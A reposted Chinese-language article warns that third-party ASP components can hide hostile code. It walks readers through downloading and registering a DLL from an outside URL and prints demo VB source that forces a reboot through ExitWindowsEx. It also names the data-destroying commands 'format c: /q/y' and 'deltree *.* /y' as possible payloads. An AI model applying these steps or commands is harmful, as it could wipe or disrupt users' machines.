ASP組件中的安全問題
發表時間:2024-02-08 來源:明輝站整理相關軟件相關文章人氣:
[摘要]Microsoft推出的ASP(Active Server Page)以簡單、易用、功能多、可擴充性等強大功能得到了網友和大多數網管的喜愛,大有完全代替CGI的趨勢。但是我要對你說,如果使用ASP的話,你網絡的安全同時也大大降低了! 在我繼續說下去之前,請你完成以下步驟: 1.下載這個文件“h...
Microsoft推出的ASP(Active Server Page)以簡單、易用、功能多、可擴充性等強大功能得到了網友和大多數網管的喜愛,大有完全代替CGI的趨勢。但是我要對你說,如果使用ASP的話,你網絡的安全同時也大大降低了!
在我繼續說下去之前,請你完成以下步驟:
1.下載這個文件“http://home.gbsource.net/xuankong/dll.zip”,解壓縮后把其中的test.dll文件拷貝到“c:\windows\system”(如果你是使用NT的話,請拷貝到相應目錄);
2.接下來打開“開始/運行”菜單輸入“regsvr32 test.dll”命令;
3.拷貝解壓縮后的文件包中的那個index.asp到你的服務器目錄(如果你是使用PWS‘Personal Web Server’調試可以拷貝到“c:\Inetpub\wwwroot”,NT請拷貝到相應的目錄);
4.換一臺機器用IE瀏覽index.asp文件看一看(你看到的是出錯代碼,但是實際上程序已經運行了),你再返回你的機器看一看c:\下是否多了一個文件?!一個名為“xuankong.dat”的文件(其實如果我愿意,你的c:\autoexec.bat文件也可以被我打開并寫入一些什么“format c: /q/y”或者“deltree *.* /y”的命令,等你下次重新啟動機器。嘿嘿……)。
我們一起來看看到底是怎么一回事,你剛才拷貝的那些DLL文件其實是我使用Visul Basic 5.0開發的一個組件:
1.打開VB5.0新建一個“ActiveX dll”文件,把下面的代碼錄入進去。
Private Declare Function ExitWindowsEx Lib ″user32″ _
(ByVal uFlags As Long, ByVal dwReserved As Long) _
As Long
Sub xuankong()′請不要加上″private″
a$ = InputBox(″請輸入你的姓名,如果你的輸入是″xuankong″″ + Chr(13) + Chr(10) + ″則會在你的系統中生成一個″xuankong.dat″文件″ + Chr(10) + Chr(13) + ″否則的話你的機器可能重啟″, ″請輸入″, ″xuankong″)
If a$ = ″xuankong″ Then
Open ″c:\xuankong.dat″ For Append As #1
Write #1, ″我的朋友,這是一個ASP組件的測試程序″
Write #1, ″hello world!This is a test″
Write #1, ″如果你看到這個文件表示測試成功�。。 �
Else
ExitWindowsEx &H43, 0′使用API函數重新啟動機器
End If
Close #1 >
End Sub
2.把工程名改為dll,類模塊改為test,然后把這個工程生成DLL文件到c:\windows\system目錄下面。
3.新建一個index.asp文件把下面的代碼錄入進去。
$#@60;% set rs=server.createobject(″dll.test″)%$#@62;
$#@60;% set rs1=rs.xuankong rs1.execute %$#@62;
4.拷貝index.asp到你的服務器內,按照上面所述進行調試! 好了,如果你調試完成,有什么感覺???如果是使用VC++ 、Visual Java開發(它們開發出來的組件功能可更加強大);如果把上面的VB代碼改一下,加入到一些FTP組件、E-mail組件、HTTP組件、聊天室組件、計數器組件中……(凡是可以輸入/輸出的組件,沒法輸入/輸出的組件的破壞力有一定局限),再給這些組件加上一個好聽的名字“免費的……”你不上當嗎(嘿嘿!說不定你已經上當了,天下免費的東西可是好東西!!!*^v^*)?
上面所說的是ASP組件的安全問題!另外如果有些作者在寫ASP組件時不小心留下系統bug!那就更加不易被人發覺了!